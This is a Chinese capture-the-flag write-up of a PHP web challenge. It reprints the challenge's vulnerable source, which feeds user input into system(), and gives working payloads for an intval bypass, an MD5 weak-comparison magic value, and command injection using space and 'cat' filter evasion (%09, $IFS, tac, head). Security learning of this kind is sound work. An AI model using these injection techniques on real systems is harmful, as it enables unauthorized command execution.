每天一题,记录学习

打开界面啥也没有,抓包也没提示的,一般就是要扫他的目录了,直接上御剑

访问看到fAke_f1agggg.php,打开居然假的 flag

没有头绪就抓包看看,会有惊喜


下面是源码,但是有中文乱码,改编码为Unicode即可
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
看样子是分为了三关,开始一关一关绕过吧
第一关

知识点 intval() 绕过
这个函数是强制转换为int类型。经测试以下只适合php7.0及以下版本,7.2.23版本测试不可以(就算是字符串也直接解析科学记数法)
<?php
$a="3e3";
echo intval($a);
?> // 3
<?php
$a="3e3";
echo intval($a+1);
?> //3001
payload
num = 3e3
第二关

这个就是一个MD5的弱比较
payload
md5 = 0e215962017
0e215962017
md5值:0e291242476940776845150308577824
第三关

首先过滤了空格、cat
能够代替空格的有
< 、<> 、%09、$IFS、${IFS}、$IFS$1
能够代替cat的有
more 、less 、head 、tail 、sort
综上
payload
num=3e3&md5=0e215962017&get_flag=ls
num=3e3&md5=0e215962017&get_flag=tac%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
题目还是比较简单的,考察的知识点也很常规,哈哈哈
这是一篇关于CTF挑战的博客,作者通过逐关解析,展示了如何利用intval绕过、MD5弱比较以及字符串替换技巧来解密获取flag。文章涉及的技巧包括PHP函数的使用、编码转换以及对安全漏洞的理解。



2084

被折叠的 条评论
为什么被折叠?



